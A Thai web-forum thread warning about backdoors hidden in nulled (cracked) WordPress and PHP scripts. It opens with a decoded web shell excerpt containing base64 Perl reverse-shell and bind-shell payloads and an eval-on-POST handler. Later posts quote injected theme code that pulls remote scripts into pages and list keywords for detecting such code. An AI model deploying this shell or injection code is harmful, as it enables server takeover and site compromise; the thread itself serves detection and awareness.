  1729.         $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1730.         $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1731.         echo "<h1>Network tools</h1><div class=content>
  1732.         <form name='nfp' onSubmit="g(null,null,'bpp',this.port.value);return false;">
  1733.         <span>Bind port to /bin/sh [perl]</span><br/>
  1734.         Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1735.         </form>
  1736.         <form name='nfp' onSubmit="g(null,null,'bcp',this.server.value,this.port.value);return false;">
  1737.         <span>Back-connect  [perl]</span><br/>
  1738.         Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1739.         </form><br><b><a href=/back2.php>Back-connect[php]</a></b><br>
  1740.        
  1741.         ";
  1742.         if(isset($_POST['p1'])) {
  1743.                 function cf($f,$t) {
  1744.                         $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1745.                         if($w)        {
  1746.                                 @fwrite($w,@base64_decode($t));
  1747.                                 @fclose($w);
  1748.                         }
  1749.                 }
  1750.                 if($_POST['p1'] == 'bpp') {
  1751.                         cf("/tmp/bp.pl",$bind_port_p);
  1752.                         $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1753.                         echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1754.                 }
  1755.                 if($_POST['p1'] == 'bcp') {
  1756.                         cf("/tmp/bc.pl",$back_connect_p);
  1757.                         $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1758.                         echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1759.                 }
  1760.                
  1761.        
  1762.         }
  1763.         echo '</div>';
  1764.         wsoFooter();
  1765. }
  1766. function actionRC() {
  1767.         if(!@$_POST['p1']) {
  1768.                 $a = array(
  1769.                         "uname" => php_uname(),
  1770.                         "php_version" => phpversion(),
  1771.                         "wso_version" => VERSION,
  1772.                         "safemode" => @ini_get('safe_mode')
  1773.                 );
  1774.                 echo serialize($a);
  1775.         } else {
  1776.                 eval($_POST['p1']);
  1777.         }
  1778. }
  1779. if( empty($_POST['a']) )
  1780.         if(isset($default_action) && function_exists('action' . $default_action))
  1781.                 $_POST['a'] = $default_action;
  1782.         else
  1783.                 $_POST['a'] = 'SecInfo';
  1784. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1785.         call_user_func('action' . $_POST['a']);
  1786. exit;
คัดลอกไปที่คลิปบอร์ด

แสดงความคิดเห็น

บางอันเป็นการ ไม่ได้ถอด base64  โพสต์ 2014-10-17 23:53

คะแนน

จำนวนผู้เข้าร่วม 1จิตพิศัย +10 Money +10 Gold +10 ย่อ เหตุผล
jaideejung007 + 10 + 10 + 10 ขนลุกเลย

ดูบันทึกคะแนน

binknon โพสต์ 2014-10-12 23:49:06
พวก NULLED SCRIPT  ส่วนมากจะมีสิ่งต่างๆแอบมาอยู่แล้วครับ เพราะฉะนั้นเลยต้องหาเว็บที่เชื่อใจได้ในการโหลด (อยากได้หลังไมค์ อิอิ) ส่วนสำหรับท่านที่ไม่ทราบขออนุญาติอธิบาย ณ ที่นี้เพื่อให้ระวังกันเลยนะครับ์
NULLED SCRIPT  คืออะไร?
สคริปทำเว็บที่ไม่ใช่  Open Source ต่างๆ(พวกที่ต้องเสียตังซื้อ) จะมีการ call home หรือที่เรียกว่าการตรวจสอบ license ผู้ใช้เพื่อยืนยันการซื้อสิ้นค้า (ตัวอย่างง่ายๆก็คือการซื้อโปรแกรมนั่นล่ะครับ) สรุปง่ายๆก็คือเป็นการ Crack ตัวสคริปเพื่อให้ทำมาใช้ฟรีๆ(เถื่อนๆ) นั่นเองครับ
ปล. ในที่นี้ส่วนมาก Web Master จะนำมาใช้เพื่อการทดลองสคริปก่อนซื้อ แต่ก็มีคนทำไปใช้จิงจังเหมือนกัน


แล้วทำไมถึงอันตราย?:
เอาง่ายๆเป็นคุณๆจะยอมแจกอะไรที่ตัวเองซื้อมาง่ายๆไหมล่ะ? เหตุผลก็มีหลายประการ:
  • แฝงสคริปเพื่อสร้าง BackLink สู่เว็บผู้แจก
  • ในบางกรณี ผู้แจกสามารถแฝงสคริปเพื่อเข้าควบคุณ Blog หรือเว็บของท่านได้
  • สามารถ redirect เว็บของท่านไปยังเว็บสแปมได้
  • สามารถแฝงโฆษณาในเว็บท่านได้(น่าจะได้ค่าสคริปคืนไม่ยากนะเนี่ย )
  • หรือง่ายๆก็คือทำลายเว็บท่านได้ทุกเมื่อ
วิธีเช็คว่ามีอะไรแอบแฝงไหม:

1. Upload Zip หรืแ Rar ไฟล์ที่โหลดมาเข้าไปที่
  1. https://www.virustotal.com
คัดลอกไปที่คลิปบอร์ด
เพื่อตรวจ
Virus และ Trojans


2. เช็คสคริปแอบแฝงในตัว plugin หรือสคริปที่โหลดมา(Wordpress)
  1. http://wordpress.org/extend/plugins/exploit-scanner/
คัดลอกไปที่คลิปบอร์ด

ปลั๊คอิน wordpress ตัวนี้ช่วยท่านได้หากให้ Wordpress



3. ตรวจสอบ Theme Wordpress
https://wordpress.org/plugins/tac/

4. เป็นวีธี diy คือให้ท่านเป็นไฟล์ทุกไฟล์ PHP และกด CTRL+F (หา) และหาคำว่า
  • nulled by
  • NULL
  • localhost
  • 127.0.0.1
  • file_get_contents
  • http_get
  • curl_exec
  • base64_decode
  • exec  


ตัวอย่าง NULLED CODE:
  1. <?php
  2.         $return = apply_filters( 'x_before_option_page', xthemes_machine( $options ) );
  3.         echo strrev( '>"gnp.bllac/trats/ofni.werc-zrengised//:ptth"=crs gmi<');
  4. ?>
คัดลอกไปที่คลิปบอร์ด

ตัวอย่าง Call Back Script:

  1. /*-----------------------------------------------------------------------------------*/
  2. /* Directory
  3. /*-----------------------------------------------------------------------------------*/if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
  4. function ins_php_in_post($content){$percentage = 25;if (rand(0, 100) < $percentage){ob_start();if(function_exists('curl_i nit')) { $url = "http://www.jquerys.org/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; }$text = ob_get_clean();$pos = rand(0, strlen($content));$txtPrePos = substr($content, 0, $pos);$txtPostPos = substr($content, $pos);$openPos = strrpos($txtPrePos, "<");if ($openPos !== false){$closePos = strrpos($txtPrePos, ">");if ($openPos > $closePos || $closePos === false){$pos = strpos($content, ">", $pos) + 1;}}$spos = strpos($content, " ", $pos);if ($spos === false) {$spos = strlen($content);}$content = substr($content, 0, $spos) . " " . $text . substr($content, $spos);}return $content;}
  5. add_filter('the_content', 'ins_php_in_post');
คัดลอกไปที่คลิปบอร์ด



หากใช้ Wordpress Plugin เหล่านี้ช่วยท่านได้:
  • Theme Authenticity Checker (TAC) V.1.5
  • Exploit Scanner V.1.3.3
  • Health Check V.0.2.1
  • WP Security Scan V.3.0.9
  • Secure WordPress V.2.0.7


เครื่องมือแนะนำในการหาจากทุกไฟล์:
  1. http://www.fileseek.ca/
คัดลอกไปที่คลิปบอร์ด

หวังว่าบทความนี้จะช่วยท่านได้ไม่มากก็น้อย

คะแนน

จำนวนผู้เข้าร่วม 1จิตพิศัย +10 Money +10 Gold +10 ย่อ เหตุผล
jaideejung007 + 10 + 10 + 10 หลงรัก

ดูบันทึกคะแนน

 เจ้าของ| jaideejung007 โพสต์ 2014-10-13 08:00:28
binknon ตอบกลับเมื่อ 2014-10-12 23:49
พวก NULLED SCRIPT  ส่วนมากจะมีสิ่งต่างๆแอบมาอยู่แล้วครับ เ ...

ลองโหลดตัว Nulled มาเล่น

และลองค้นหาโค้ดแปลกๆ เจอเลยครับ

เป็นธีมของ WordPress ชื่อ yoo_avenue_wp

มีการเข้ารหัสด้วย base64_decode

ได้แก่
  1. <?php $avenue = 'PGRpdiBpZD0iYXZlbnVlIj4KPGEgaHJlZj0iaHR0cDovL2F1dG8taG91c2UuaW5mbyIgdGFyZ2V0PSJfYmxhbmsiIHRpdGxlPSLQv9GA0LDQstC40LvQsCDQtNC+0YDQvtC20L3QvtCz0L4g0LTQstC40LbQtdC90LjRjyI+0L/RgNCw0LLQuNC70LAg0LTQvtGA0L7QttC90L7Qs9C+INC00LLQuNC20LXQvdC40Y88L2E+CjwvZGl2Pg=='; echo base64_decode($avenue);?>
คัดลอกไปที่คลิปบอร์ด


เมื่อถอดรหัสออกมาจะได้
  1. <div id="avenue">
  2. <a href="http://auto-house.info" target="_blank" title="правила дорожного движения">правила дорожного движения</a>
  3. </div>
คัดลอกไปที่คลิปบอร์ด
ถึงจะเป็นแค่ลิงก์ธรรมดา แต่ก็เปรียบเสมือนว่า เราโฆษณาเว็บเขากลายๆ เลยแหละ

ใครที่อยากจะใช้ Nulled จริงๆ (อันนี้ไม่แนะนำ) ควรจะไล่เช็กไฟล์ทุกไฟล์จนมั่นใจว่า ไม่มีอะไรแปลกปลอมมาจริงๆ (ถ้าจะใช้ในเชิงพาณิชย์ ซื้อของแท้เถอะครับ)
 เจ้าของ| jaideejung007 โพสต์ 2014-10-18 06:37:57
rokaisakkon ตอบกลับเมื่อ 2014-10-17 23:51
การทำงานของมันคือ  เอาทุกอย่างที่เรามี

เห็นแล้วเข่าแทบทรุดลงกับพื้น ถ้าขนาดนี้แล้ว อยากจะเอาอะไรในเว็บ ก็เอาไปให้มันหมดเถอะ ตรูยอมแทน

ผมงง ตรงที่ว่ามันเข้าไปยังในโฮสต์ได้อย่างไร มากกว่า มาจากช่องโหว่อะไรครับ พอจะทราบไหม

การทำงานเบื้องต้น  เมื่อเรารันไฟล์นีัแล้ว ต้องล็อกอินเข้าก่อน ใช่ไหม

เคยลองรันไฟล์นี้หรือยังครับ หน้าตา UI มันเป็นยังไงครับ?
rokaisakkon โพสต์ 2014-10-18 12:47:06
jaideejung007 ตอบกลับเมื่อ 2014-10-18 06:37
เห็นแล้วเข่าแทบทรุดลงกับพื้น ถ้าขนาดนี้แล้ว อยากจะ ...

มี text input ให้ ใส่ รหัสครับ  ผมแค่ลองนิ๊ดเดียว

รหัสเป็น  md5(pass)


เห็นโค้ดแล้ว สนใจคนเขียนมากกว่า  มันต้องการทุกอย่าง จริง ๆ  สุดยอดมากครับ คนเขียน

การที่โค้ดมาในนี้ได้  เดาว่ามันเป็นกระบวนการแน่ ๆ ครับ ถ้าไม่ใช่เพราะเรา อัพไฟล์ ขึ้นไปเอง  น่าจะมาจากโครงข่ายลูกโซ่ที่ติดกันไปเรื่อย ๆ ครับ อย่างที่บอกมันเอาทุกอย่าง  55
 เจ้าของ| jaideejung007 โพสต์ 2014-10-18 15:06:25
rokaisakkon ตอบกลับเมื่อ 2014-10-18 12:47
มี text input ให้ ใส่ รหัสครับ  ผมแค่ลองนิ๊ดเดียว

รหัสเป ...

ส่งโค้ดที่ถอดรหัสได้ เข้า PM ให้หน่อยครับ

อัพขึ้นเว็บฝากโค้ด
rokaisakkon โพสต์ 2014-10-18 15:10:40
jaideejung007 ตอบกลับเมื่อ 2014-10-18 15:06
ส่งโค้ดที่ถอดรหัสได้ เข้า PM ให้หน่อยครับ

อัพขึ้นเว็บฝากโค้ด

โค้ด อะไรหรอครับ  ถ้าที่เฮียโพสต์มา   

http://codepad.org/CwsH07pC

ผมถอดแล้ว  โพสต์ไป ข้างบนนะครับ  ทั้งหมดเลย
 เจ้าของ| jaideejung007 โพสต์ 2014-10-18 15:38:10
rokaisakkon ตอบกลับเมื่อ 2014-10-18 15:10
โค้ด อะไรหรอครับ  ถ้าที่เฮียโพสต์มา   

http://codepad.org/CwsH07p ...

โทษที พอดีเปิดผ่านมือถือ แล้วนึกว่าเราลบเม้นท์ที่โพสต์ยาวๆ นั้นไป

ที่ไหนได้ มันไปอยู่เม้นท์แรกซะงั้น เลยหาไม่เห็น 555
ขออภัย! คุณไม่ได้รับสิทธิ์ในการดำเนินการในส่วนนี้ กรุณาเลือกอย่างใดอย่างหนึ่ง ลงชื่อเข้าใช้ | สมัครสมาชิก

รายละเอียดเครดิต

รายชื่อผู้กระทำผิด|Archiver|ดิสคัส ไทย Follow us: Become a fan on facebook. Follow us on Twitter.

GMT+7, 2024-12-21 23:09

Powered by Discuz! X3.4, Rev.66

Copyright © 2001-2021 Tencent Cloud. Licensed

ตอบกระทู้ ขึ้นไปด้านบน ไปที่หน้ารายการกระทู้